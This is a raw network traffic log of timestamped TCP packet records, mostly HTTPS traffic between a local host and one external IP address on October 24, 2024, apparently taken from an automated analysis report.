Oct 24, 2024 11:57:26.285711050 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.285764933 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.285770893 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.286533117 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.286567926 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.286595106 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.286602974 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.286648035 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.403728962 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.403907061 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.403958082 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.403958082 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.403990030 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.404031038 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.404040098 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.404614925 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.404654980 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.404679060 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.404689074 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.404701948 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.404748917 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.405472040 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.405564070 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.405580997 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.405633926 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.425470114 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 11:57:26.522535086 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.522659063 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.522682905 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.522720098 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.522753000 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.522761106 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.522809029 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.523463964 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.523529053 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.641078949 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.641139030 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.641186953 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.641201973 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.641278982 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.641396046 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.641453028 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.642122030 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.642188072 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.686759949 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.686882019 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.760015965 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.760096073 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.760165930 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.760205984 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.760224104 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.760257959 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.760595083 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.760662079 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.805485010 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.805604935 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.878282070 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.878397942 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.878418922 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.878443956 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.878470898 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.878551960 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.878659010 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.878711939 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.923813105 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.923845053 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.923906088 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.923935890 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.923949957 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.923979998 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.996903896 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.997057915 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.997088909 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.997148991 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.997159958 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.997215986 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.042843103 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.043006897 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.086980104 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.087189913 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.115895033 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.115940094 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.116046906 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.116081953 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.116134882 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.116134882 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.116359949 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.116427898 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.161530972 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.161678076 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.205559015 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.205611944 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.205734015 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.205790043 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.205825090 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.234932899 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.235076904 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.235105991 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.235125065 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.235136986 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.235140085 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.235188961 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.280128956 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.280232906 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.324455976 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.324577093 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.355595112 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.355710983 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.355726004 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.355739117 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.355775118 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.355945110 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.356021881 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.356040955 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.356095076 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.398976088 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.399029016 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.399185896 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.399244070 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.399274111 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.401884079 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.442730904 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.442889929 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.517457008 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.517483950 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.517649889 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.517695904 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.517749071 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.591994047 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.592012882 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.592133999 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.592166901 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.592216015 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.710577011 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.710602045 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.710727930 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.710762978 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.710814953 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.712192059 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.712209940 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.712285995 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.712295055 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.712347031 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.798449039 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.798588037 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.829868078 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.829891920 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.830123901 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.830148935 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.830204964 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.917145014 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.917207003 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.917411089 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.917443991 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.917479038 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.948846102 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.948870897 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.949042082 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:27.949076891 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:27.996494055 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.066751003 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.066767931 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.066812992 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.066931009 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.066948891 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.066977978 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.066998959 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.111548901 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.111581087 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.111685038 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.111716986 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.111780882 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.185460091 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.185483932 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.185535908 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.185570955 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.185585022 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.185609102 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.230349064 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.230374098 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.230462074 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.230504036 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.230571032 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.304426908 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.304452896 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.304517984 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.304562092 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.304610014 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.305382967 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.305423021 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.305444956 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.305459023 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.305494070 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.391765118 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.391792059 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.391946077 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.391982079 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.392033100 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.423877954 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.424021959 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.468687057 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.468715906 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.468759060 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.468827009 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.468871117 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.468894005 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.468914032 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.542563915 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.542587996 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.542720079 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.542754889 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.542807102 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.587356091 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.587380886 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.587465048 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.587498903 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.587542057 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.647738934 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.647759914 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.647885084 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.647917986 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.647964954 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.662270069 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.662287951 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.662427902 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.662455082 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.662517071 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.706566095 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.706589937 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.706645966 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.706672907 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.706691027 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.706711054 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.780406952 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.780430079 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.780514002 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.780539036 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.780590057 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.824623108 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.824641943 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.824754953 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.824778080 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.824826956 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.899357080 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.899389982 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.899462938 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.899478912 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.899534941 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.900496006 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.900516987 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.900558949 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.900566101 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.900592089 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.900609016 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.943882942 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.943907976 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.943967104 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.943985939 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:28.944015980 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:28.944045067 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.018779993 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.018801928 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.018886089 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.018922091 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.019026995 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.062033892 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.062058926 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.062155962 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.062187910 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.062233925 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.063282013 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.063299894 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.063354969 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.063373089 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.063414097 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.139909029 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.139934063 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.140031099 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.140065908 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.140119076 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.140866995 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.140922070 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.140976906 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.140985012 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.141017914 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.141045094 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.182971954 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.183106899 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.243376017 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.243403912 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.243484974 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.243520975 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.243565083 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.256128073 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.256213903 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.256222010 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.256253958 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.256283998 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.256299973 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.299849033 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.299875021 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.299968958 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.299999952 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.300054073 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.300313950 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.300332069 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.300390005 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.300398111 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.300440073 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.315989971 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:29.316030979 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:29.316114902 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:29.317742109 CEST	49712	443	192.168.2.16	184.28.90.27
Oct 24, 2024 11:57:29.317754030 CEST	443	49712	184.28.90.27	192.168.2.16
Oct 24, 2024 11:57:29.376410961 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.376435995 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.376517057 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.376538992 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.376586914 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.377288103 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.377304077 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.377365112 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.377372026 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.377413034 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.419471025 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.419497967 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.419620991 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.419637918 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.419686079 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.503279924 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.503309011 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:29.503449917 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:29.503469944 CEST	443	49706	104.21.68.211	192.168.2.16
